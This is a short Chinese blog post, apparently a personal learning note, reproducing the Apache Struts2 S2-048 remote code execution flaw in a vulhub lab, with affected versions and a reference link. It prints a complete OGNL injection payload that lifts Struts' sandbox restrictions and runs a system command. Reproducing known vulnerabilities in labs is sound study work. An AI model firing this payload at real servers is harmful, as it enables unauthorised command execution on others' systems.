S2-048 远程代码执行漏洞

2020-08-10

字数：95字 | 预计阅读时长：1分钟

影响版本

2.0.0 - 2.3.32

复现过程

访问Integration/Struts 1 Integration

填入POC

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}

返回结果

参考链接

http://github.com/vulhub/vulhub/blob/master/struts2/s2-048/README.zh-cn.md/

缺失模块。
1、请确保node版本大于6.2
2、在博客根目录（注意不是yilia根目录）执行以下命令：
npm i hexo-generator-json-content --save

3、在根目录_config.yml里添加配置：

  jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

渗透师

作者是一个极其低调，而又不失内涵的人。 只因年少轻狂，不知少壮不努力，老大徒伤悲之意，错失高考。 至此，以“学到老，活到老”，树立终生学习之观念。 所谓好记性不如烂笔头，我将所学技术记载于此博客。 此博客就当作是我的学习笔记。 方便日后复习总结。 转眼，光阴数十载， 本人已踏入老男人之行列。 深夜流泪， 往日不堪回首。 时至今日， 往事已去。 目光向前， 不负余生。